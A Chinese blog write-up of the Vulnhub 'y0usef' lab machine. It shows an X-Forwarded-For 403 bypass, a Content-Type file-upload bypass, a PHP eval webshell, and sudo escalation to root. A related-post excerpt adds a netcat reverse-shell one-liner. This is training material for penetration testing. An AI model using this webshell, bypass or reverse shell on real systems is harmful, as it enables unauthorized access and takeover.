【每日打靶练习】Vulnhub--y0usef(低)

Y0usef打靶记录 实验主机:攻击机kali(192.168.3.131)靶机y0usef(192.168.3.99)实验目标:获取root权限 + flag实验网络:桥接。 阅读详情

0x00部署

y0usef靶机:下载地址
宿主机:kali2022
kali找不到靶机可以参考:kali与靶机网络配置问题

0x01信息收集

1.主机发现

在这里插入图片描述

2.端口扫描

在这里插入图片描述
开放端口:http80和ssh22

3.信息收集(目录扫描)

访问一下web80端口,发现没有表单提交等位置,查看源码也没什么可利用信息。
在这里插入图片描述
在这里插入图片描述
继续扫描目录,得到一些403forbidden目录,对adminstration这个可疑url进行访问
dirsearch -u http://ip
在这里插入图片描述

同样没有访问权限
在这里插入图片描述
对adminstration扫描后,发现其目录下存在子目录,尝试403绕过
在这里插入图片描述

0x02 漏洞挖掘

1.403绕过

利用burp抓访问ad页面的数据包,再发送到repeater中尝试改变头信息:
增加X-Forwarded-For:127.0.0.1,让服务器以为这是从本地代理发送的请求,send出去返回200。
在这里插入图片描述
对登录页面进行观察,同时burp一直打开,对请求包都要加X头
Dashboard页面
在这里插入图片描述
users页面
在这里插入图片描述
upload页面,这里可以上传文件—》立刻想到文件上传漏洞
在这里插入图片描述

2.文件上传

尝试上传一个php文件,返回修改burp包里的文件格式为image/png转发出去,发现成功上传。
在这里插入图片描述
使用蚁剑连接,把http://ip/../files/xx.php填进去,php代码使用的是<?php @eval($_POST['x']); ?>,连接时密码填x。在这里插入图片描述
蚁剑中右键打开shell,查看当前用户及权限,发现只是普通用户,检查/home文件,找到一个txt文件和一个目录,目录中没什么能利用的,txt文件中有一串编码字符,经验知是base64的。
在这里插入图片描述
到kalishell上转义一下得到用户名为yousef的ssh账号及密码
在这里插入图片描述

base64编码一般由:0-9a-zA-Z+/=组成

3.本地提权

利用ssh用户密码连接后id一下发现该用户具有sudo权限,sudo -s一下,成功获得root权限
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

0x03总结

本靶机主要是对于web应用中可能存在的403forbidden进行绕过达到访问控制的失效,其次是对于文件上传漏洞的利用,文件上传有很多种方式,这里并没有详述,只对修改文件格式进行了试验,成功上传后,使用蚁剑对于上传PHP木马进行后门访问来达到获取权限的目的。

Vulnhub靶机y0usef渗透 靶机介绍 阅读详情

相关推荐

51雾化器实现

1. 雾化器简介 雾化器是将试液雾化的一种器械。雾化器是原子化系统的重要部件,其性能对测定的精密度和化学干扰等产生显著影响。因此要求雾化器喷雾稳定、雾滴细小、均匀和雾化效率高。雾化器的类型有超声雾化器,空气压缩式雾化器,网式雾化器。超声雾化器因其价格合适,适合家用,被广泛应用于加湿器,香薰机等各种小家电,也在医疗领域有很多的应用。家用雾化器的主要器件是一枚雾化片。 家用雾化器分为两种不同类别雾化片,实孔雾化片和微孔雾化片,这两种的喷雾方法和工作原理是有所不同的。不同的雾化片需要特定的频率才能工作。 实孔雾

qq_42415953的博客 2万+

vulnhub-y0usef

简单的渗透练习

m0_62008601的博客 636

【全网最新】使用 1panel面板 部署若依系统( springboot 和 vue)项目

打开前端项目的vue.config.js文件,检查devServer下的proxy代理部分,然后将下面这个端口修改为你要在打包后访问的端口,即使用nginx代理前的接口。这个端口默认是80端口,这里把其修改为不会冲突的8010端口,后台接口的地址配置为9080,不过感觉这里设置的8010和9080可能没有用,因为部署前端静态页面是,也配置了一次网页的外部接口和api的接口,后期有空了再验证。打开右侧的Maven,点击:生存期->package,然后点击运行,等待打包成功,包在如图所示的文件夹中。

老薛的专栏 1755

vulnhub靶场-y0usef

Vulnhub旨在提供环境,让任何人都能在数字安全、计算机软件和网络管理方面获得实际的“实践”经验。

qq_42947816的博客 1746

告别GitHub!手把手教你用Gitblit在Windows 10上搭建私人局域网Git服务器(附SourceTree配置)

本文详细介绍了如何在Windows 10环境下使用Gitblit搭建私有Git服务器,实现局域网内高效代码协作。通过轻量级的Gitblit解决方案,开发者可以享受数据完全自主、离线可用性和局域网高速访问等优势。文章包含从环境准备、安装部署到SourceTree配置的全流程指南,特别适合金融、医疗等敏感行业团队使用。

weixin_30430169的博客 281

unity 在透明物体上投射阴影

unity版本:2019.4.16 创建一个shader,代码如下: Shader "ChuckLee/ARShadow" { Properties { _ShadowColor("Shadow Color", Color) = (0.1, 0.1, 0.1, 0.53) } SubShader { Tags{ "RenderType" = "Transparent" "Queue" = "Geometry+1" } Blend SrcAlpha OneMinusSrcAlph

Abel02的博客 2953

渗透测试——y0usef靶机渗透提权详细过程(插件伪造请求头)

Y0usef 主要目标是获得普通用户和 root 权限的 flag。渗透过程主要涉及 服务枚举、WEB 目录爆破、HTTP 访问控制绕过、文件上传漏洞利用、反向 shell 获取初始权限,再进行提权。 涉及知识点: x-Forward-For伪造请求头 系统弱口令与文件上传 SUDO提权

m0_73812072的博客 956

PyTorch 面试题及详细答案120题(54-70)-- 模型训练与评估

本文介绍了PyTorch模型训练的基本流程和核心概念。主要内容包括: 模型训练基本流程:通过代码示例展示了数据准备、模型定义、损失函数和优化器选择、训练循环(前向传播、反向传播、参数更新)的完整过程,并包含验证集评估的实现。 训练过程中的关键概念: Epoch:完整遍历一次训练集 Batch:将数据分成小批次 Iteration:一个Batch的参数更新过程 三者关系:1 Epoch = N/B Batch = N/B Iteration(N为样本数,B为batch_size) PyTorch数据加载机制:

大剑师兰特的GIS世界 488

Y0usef靶场

vulnhub靶场Y0usef攻略

zjxxxy的博客 479

【温室气体数据集】CAMS 发布的温室气体(GHG)数据集总结

【温室气体数据集】CAMS 发布的温室气体(GHG)数据集总结

WW、forever的博客 555

从数字后端角度谈谈occ电路(二)

从图中,我们可以清晰的看出,当scan_en为1时,test mode为1时,经过一系列逻辑单元后,得到clk_sel输出信号为1,同样可推算fast_clk_en = 0,slow_clk_en为1,此时clk_out输出为slow clk,符合我们预期。在该模式下,是使用slow clock进行scan shift,接着我们开始进行推导;从图中,我们根据逻辑运算可以看出,clk_sel输出信号为0,fast clk en为1,此时通过mux选择,clk out即为fast clk;

芯冰乐 358

实战打靶集锦-028-y0usef

本文简要描述了博主的一次打靶经历,中间涉及403 forbidden绕过、上传文件格式检查绕过、php构建反弹shell、CVE-2015-1328提权等。

阿尔泰野狼的博客 2061

Python爬虫实战:医院科室排班智能采集系统 - 从零构建合规且高效的医疗信息爬虫(附CSV导出 + SQLite持久化存储)!

我长期专注 Python 爬虫工程化实战,主理专栏 👉 《Python爬虫实战》:从采集策略到反爬对抗,从数据清洗到分布式调度,持续输出可复用的方法论与可落地案例。内容主打一个“能跑、能用、能扩展”,让数据价值真正做到——抓得到、洗得净、用得上。

喵手的博客 1298

渗透测试学习笔记lab1【y0usef】

第一周, y0usef靶机的渗透学习笔记

铃的杂货铺分铺 1978

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

Y0usef

实验主机:Os-Y0usef 靶机一台/Kali linux攻击机一台实验网络:桥接网络实验目标:获取靶机的Root权限 得到flag难易程度:简单。

qq_47078547的博客 331

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

打靶记录8——y0usef

主机发现,端口扫描针对Web服务进行信息收集,查看源码,爆破路径针对的路径进行403 Bypass绕过目标服务器的检查和限制,成功访问到这个URL发现后台登录的页面存在弱口令发现文件上传漏洞,通过绕过目标服务器对文件上传的过滤机制利用上传的Webshell进行反弹shell,提权发现yousef账号,通过第一个flag获得SSH登录账号密码登录yousef账号后,发现它的sudo配置文件不严导致可以直接提权,切换成root账号。

Fab1an的博客 1121

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

y0usef(vulnhub)

y0usef(vulnhub) 难度不高,学习到的知识很基础 https://www.vulnhub.com/entry/y0usef-1,624/ 目录 1.主机发现 arp-scan -l 2.端口扫描 nmap -p 1-65535 -A 192.168.56.107 -A 强力扫描 直接能发现服务 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) 80/tcp open h

wcl20010的博客 736

Vulnhub--y0usef靶场漏洞多种方法详解复现

rm /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 端口号 >/tmp/f。目录下,找到一个txt文件和一个目录,目录中没什么能利用的,双击点开txt文件中有一串编码字符,经验知是base64的编码(然后在kali中开启监听,nc -lvp 端口号,开启后,再访问一下页面,返回kali发现没有反弹成功。发现是普通用户,尝试提权,发现权限不够,尝试用python命令调用本地shell,,发现是普通用户,尝试提权,方法就跟刚才的本地提权一样的方法,这里我就不演示了。

2301_80386983的博客 1750

y0usef靶机打靶过程及思路

2.查看是否存在易读的文件发现没有,查看网站源码也没有,使用whatweb侦探网站指纹。4.通过弱口令两个admin进入后台发现文件上传的点,但是存在基础的过滤。查看home下的目录发现一个文件,base64解密后发现一个账号密码。更改content-type为image/png发现可以绕过过滤。5.蚁剑连接shell,在页面上进行参数执行获取反弹shell成功。sudo-l查看有root的权限发现可以运行所有程序。3.大部分页面403,做403页面绕过。然后查看/etc/passwd下的账号。...

qq_52610024的博客 2566

y0usef靶场详解

靶机感悟:对于这个靶机并没有太多的难点,也没有的别多的绊子,就是猜测下一步是什么,耐心的去思考怎么才能进行到下一步。这样再访问我们就可以看到登陆框了,账户密码都是admin,随便试一试就出来密码了,也可以尝试爆破密码。在home目录下发现一个user.txt,里面是base64编码,这个看多了,一眼就知道是base64。就像这样,我这里反弹shell的ip地址写错了,重新修改了一下,发送后就上传成功了。发现有所有权限,直接su - 提权就可以了,很简单的一个靶机,跟CTF似的。抓包,在包头加上这个就可以。

weixin_44681307的博客 913

y0usef靶机之403 Bypass、文件上传及绕过

将 X-Forwarded-For: 127.0.0.1 请求头。2、Content-Type头部更改 image/png。打靶目标:取得 root 权限 + 2 Flag。bash64解密获取yousef用户账号密码。1、文件扩名 .php .jsp。3、在数据段位置添加图片头部信息。修改Content-Type。方式三:以认证过的地址访问。yousef有root权限。方法四:(以X打头的)对POC进行URL编码。登录yousef账户。

qq_40898302的博客 726

Y0usef靶机

实验主机:y0usef靶机一台/Kali linux攻击机一台y0usef靶机 IP:192.168.3.245Kali linux攻击机 IP:192.168.3.32实验网络:桥接模式实验目标:获取靶机的Root权限。

weixin_45691672的博客 407

vulnhub靶机-Y0USEF: 1

1、找到靶机ip:192.168.75.11 nmap -sn 192.168.75.0/24 2、扫描靶机端口 root@chounana:~# nmap -p- -A 192.168.75.11 Starting Nmap 7.80 ( https://nmap.org ) Nmap scan report for 192.168.75.11 Host is up (0.00038s latency). Not shown: 65533 closed ports PORT STATE

臭nana的博客 1469

vulnhub靶场渗透实战(8-y0usef)

靶场难度:简单环境:Virtualbox搭建结果:拿到两个权限的flag。Virtualbox:192.168.3.2(桥接模式)kali:192.168.3.9(桥接模式)

随心所欲不逾矩 849

Vulnhub靶机实战-Y0USEF-1

声明 好好学习,天天向上 搭建 Y0USEF: 1,vulnhub官网下载完镜像后,最开始搭建时,导入vmware屡屡出错,改了ovftool,以及各种配置还是无法导入,最后下载Oracle VM Virtrualbox,导入到这个里面,网络设置成桥接网卡,可以正常使用 渗透 存活扫描 nmap -sP 192.168.31.1/24 端口扫描 nmap -T4 -A 192.168.31.232 -p 1-65535 -oN nmap.A 发现开启22和80,看看80的http 访问80,啥都没有

黑白的博客 1258
上一篇: 【每日打靶练习】vulnhub靶机平台--Funbox2(低)
下一篇: 【每日打靶练习】vulnhub--Evilbox-One(中低)
lexi7a
博客等级 码龄9年 1008粉丝 41原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值